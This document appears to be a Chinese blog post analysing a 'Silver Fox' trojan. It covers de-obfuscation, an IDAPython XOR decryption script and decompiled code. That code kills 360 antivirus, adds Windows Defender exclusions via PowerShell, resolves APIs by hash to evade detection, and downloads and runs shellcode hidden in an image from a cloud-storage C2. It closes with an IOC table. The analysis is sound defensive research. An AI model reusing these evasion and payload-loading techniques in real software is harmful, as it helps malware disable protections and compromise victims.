5.27-银狐木马分析

尝试三次银狐第一次因为重度混淆没过,第二个因为最新inno setup壳没有解壳器想直接脱ida分析delphi文件效果有不是很好找其他分析的要编译,今天来讲一讲我分完的这个银狐吧。

image-20260529201538337

开始两个函数第一个是生成器加的函数不用管

第二个是主要逻辑

image-20260529201716230

image-20260529201735406

进去就是一个花指令然后直接nop

image-20260529201851302

还有个循环执行也去掉

image-20260529201934584

前面两个函数不用管是一些用系统时间反调试的函数

image-20260529202056736

进入最后一个函数看到前面是申请了一块地址去执行sellcode动调进入即可

image-20260529231551679

接下来的逻辑是先跳到另外的地址把这段代码下面的代码改动

image-20260529202414678

这个是改动后的代码可以看到是一个循环解密,从1B0023+CA08的位置异或0B1h再和当前地址的字符相加作为下个字符的异或长度为rcx000000000000CA08

image-20260529202449910

这里可以接着动调将1B0024的位置设为write断点动调后看见跳转到另一个位置

image-20260529203012733

接下来可以看到另一个shellcode

这里值放了主要逻辑,前面的函数有一些反调试

比如

1
2
3
4
5
6
7
8
9
10
11
12
if ( (unsigned int)((__int64 (*)(void))unk_1BC84C)() )
{
v14 = 0;
for ( j = 0; j < 1000; ++j )
{
v0 = __rdtsc();
v14 += v0;
}
strcpy(v9, "ExitProcess");
v24 = (void (__fastcall *)(_QWORD))((__int64 (__fastcall *)(char *, char *))unk_1BB7FC)(v4, v9);
v24(0i64);
}

然后主要这两个函数

image-20260529203737927

第一个是将数据复制到申请的空间上第二个是解密数据

在下面还有一个有意思的

image-20260529203912637

这段代码会一直掉用本函数,呈现给用户的效果就是一直申请管理员权限然后取消了还是弹如果安全意识不过关的人真的会点确认,解决方式也很简单直接关机因病毒的后续逻辑都没执行也就没有持久化

看下解密的函数

image-20260529204312602

我选择用idapython来解可以看见下的脚本

1
2
3
4
5
6
7
8
9
10
11
12
import ida_bytes
START_ADDR = 0x1B002C
DATA_LEN = 0xAA05
XOR_KEY = b"4@e!c!bSL2AeimnwyD4x"
key_len = len(XOR_KEY)
for i in range(DATA_LEN):
current_ea = START_ADDR+i
orig_byte = ida_bytes.get_byte(current_ea)
key_byte = XOR_KEY[i % key_len]
orig_byte = orig_byte ^ key_byte
ida_bytes.patch_byte(current_ea, orig_byte)
print("异或计算完成!")

最后这里就是整个病毒的逻辑这里用代码贴出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
int __fastcall main(int argc, const char **argv, const char **envp)
{
const char **v4; // rdx
int v5; // ecx
const char **v6; // r8
int j; // [rsp+30h] [rbp-128h]
char v8[16]; // [rsp+38h] [rbp-120h] BYREF
char v9[8]; // [rsp+48h] [rbp-110h] BYREF
char v10[16]; // [rsp+50h] [rbp-108h] BYREF
char v11[16]; // [rsp+60h] [rbp-F8h] BYREF
char v12[16]; // [rsp+70h] [rbp-E8h] BYREF
int v13; // [rsp+80h] [rbp-D8h]
int i; // [rsp+84h] [rbp-D4h]
int v15; // [rsp+88h] [rbp-D0h]
void (__fastcall *v16)(__int64); // [rsp+90h] [rbp-C8h]
char v17[16]; // [rsp+98h] [rbp-C0h] BYREF
__int64 (__fastcall *v18)(_QWORD, _QWORD, void *, _QWORD, _DWORD, _DWORD *); // [rsp+A8h] [rbp-B0h]
void (__fastcall *v19)(_QWORD); // [rsp+B0h] [rbp-A8h]
void (__fastcall *v20)(_QWORD); // [rsp+B8h] [rbp-A0h]
_DWORD v21[38]; // [rsp+C0h] [rbp-98h] BYREF

strcpy(v8, "kernel32.dll");
strcpy(v17, "user32.dll");
strcpy(v9, "Sleep");
v16 = (void (__fastcall *)(__int64))sub_1B0C61((__int64)v8, (__int64)v9);
sub_1BA561();
v16(500i64);
if ( (unsigned int)sub_1B24A1() ) // 互斥体排斥确保只有一个病毒执行
{
v13 = 0;
while ( v13 < 1000 )
{
v16(500i64);
++v13;
if ( !sub_1B2C41() && sub_1B27F1() && sub_1B29C1() && sub_1B2721(2u) && !sub_1B23B1() && !sub_1B2D51(10000) )
break;
}
sub_1B1BE1();
if ( (unsigned int)((__int64 (*)(void))unk_1B1791)() )//反沙箱,动调
main(v5, v4, v6);
v15 = 0;
if ( find360() )
{
strcpy(v12, "CreateThread");
v18 = (__int64 (__fastcall *)(_QWORD, _QWORD, void *, _QWORD, _DWORD, _DWORD *))sub_1B0C61(
(__int64)v8,
(__int64)v12);
v18(0i64, 0i64, TCPkill360, 0i64, 0, 0i64);
v16(30000i64);
for ( i = 0; find360() && i < 1; ++i )
{
for ( j = 0; j < 3; ++j )
{
*(_QWORD *)&v21[2 * j + 12] = v18(0i64, 0i64, &kill360, 0i64, 0, &v21[j]);
if ( *(_QWORD *)&v21[2 * j + 12] )
{
v16(5000i64);
if ( !find360() )
break;
}
}
}
v16(10000i64);
if ( find360() )
v15 = 1;
v16(10000i64);
mainkey();
sub_1B2281();
v16(5000i64);
}
else
{
mainkey();
}
strcpy(v11, "ExitProcess");
v20 = (void (__fastcall *)(_QWORD))sub_1B0C61((__int64)v8, (__int64)v11);
v20(0i64);
return 0;
}
else
{
strcpy(v10, "ExitProcess");
v19 = (void (__fastcall *)(_QWORD))sub_1B0C61((__int64)v8, (__int64)v10);
v19(0i64);
return 0;
}
}

可以看见这里的函数调用的大部分都是内核函数

看下比较关键的函数sub_1B0C61

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall sub_1B0C61(__int64 a1, __int64 a2)
{
struct _LIST_ENTRY *v2; // rax
struct _LIST_ENTRY *v3; // rax
__int64 v5; // [rsp+20h] [rbp-38h]
__int64 (__fastcall *v6)(__int64); // [rsp+28h] [rbp-30h]
__int64 (__fastcall *v7)(__int64, __int64); // [rsp+30h] [rbp-28h]
__int64 v8; // [rsp+38h] [rbp-20h]

v2 = sub_1B0BA1(1527267390);//找到 kernel32.dll 的基址
v6 = (__int64 (__fastcall *)(__int64))((__int64 (__fastcall *)(struct _LIST_ENTRY *, __int64))sub_1B0A21)(
v2,
1666965384i64);//找LoadLibraryA
v3 = sub_1B0BA1(1527267390);
v7 = (__int64 (__fastcall *)(__int64, __int64))((__int64 (__fastcall *)(struct _LIST_ENTRY *, __int64))sub_1B0A21)(
v3,
1227537171i64);//GetProcAddress
if ( v6 && v7 && (v8 = v6(a1), (v5 = v7(v8, a2)) != 0) )
return v5;
else
return 0i64;
}

这段代码相当于直接找的系统的dll导出表的函数的地址没有调用api来找以此来免杀前面的shellcode也用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 sub_1B2281()
{
__int64 result; // rax
__int64 (__fastcall *v1)(_QWORD, char *, char *, char *, _QWORD, _DWORD, _QWORD, _QWORD); // rax
int v2; // eax
__int64 (__fastcall *v3)(_QWORD, char *, char *, char *, _QWORD, _DWORD, int); // [rsp+38h] [rbp-30h]
char v4[16]; // [rsp+40h] [rbp-28h] BYREF
char v5[24]; // [rsp+50h] [rbp-18h] BYREF

result = ((__int64 (*)(void))unk_1B1FA1)();
if ( (_DWORD)result )
{
strcpy(v4, "Shell32.dll");
strcpy(v5, "ShellExecuteA");
v1 = (__int64 (__fastcall *)(_QWORD, char *, char *, char *, _QWORD, _DWORD, _QWORD, _QWORD))sub_1B0C61(
(__int64)v4,
(__int64)v5);
v2 = v1(0i64, aOpen, aPowershellExe, aAddMppreferenc, 0i64, 0, 0i64, v1);//关闭Windows Defender
result = v3(0i64, aOpen_0, aPowershellExe_0, aTryNullIcimMsf, 0i64, 0, v2);//全部加入白名单
if ( !(_DWORD)result )
return 1i64;
}
return result;

image-20260529211902144

这下面两个函数是关闭360和360tcp网络通讯的函数

image-20260529212219419

image-20260529212314875

最后的最后我们来看下病毒执行部分

一共分别是防杀,c2地址拼接,下载文件,判断qq管家在不,下载图片并解密,执行图片里的shellcode

image-20260529214327317

在拼接完后就是个凯撒加密结果是https://[host动态获取].oss-cn-beijing.aliyuncs.com/tad

“j.urk” shift=17 → s.dat (下载清单文件)

“j.agx” shift=17 → s.jpg (藏 shellcode 的图片)

sub_1B4CA1()用来从网上下载文件sub_1B4C51用来解密

image-20260529222033549

这里判断有没有腾讯管家如果有就直接退出程序

image-20260529225111802

这里下载s.jpg图片再再调整好参数

1
2
3
4
v70 = (__int64 (*)(void))((__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD))sub_1B5521)(
v78[0],
LODWORD(v78[2]),
HIDWORD(v78[1]));

然后执行

1
v99 = v70();

image-20260529225500811

image-20260529225512213

最后关闭程序

ioc提取

类型 说明
C2 域名 *.oss-cn-beijing.aliyuncs.com 阿里云北京 OSS,bucket 按受害者主机名动态生成
C2 路径 /tad 主载荷下载接口
C2 路径 /s.jpg Shellcode 隐写载体
C2 路径 /s.dat ranchserv.jpg 数据文件
URL 模板 https://[hostname].oss-cn-beijing.aliyuncs.com/tad 动态 C2 构造

结语:此木马运用多层shellcode加载和手动获取内核函数的手段来运行并且主要执行文件要通过云端下载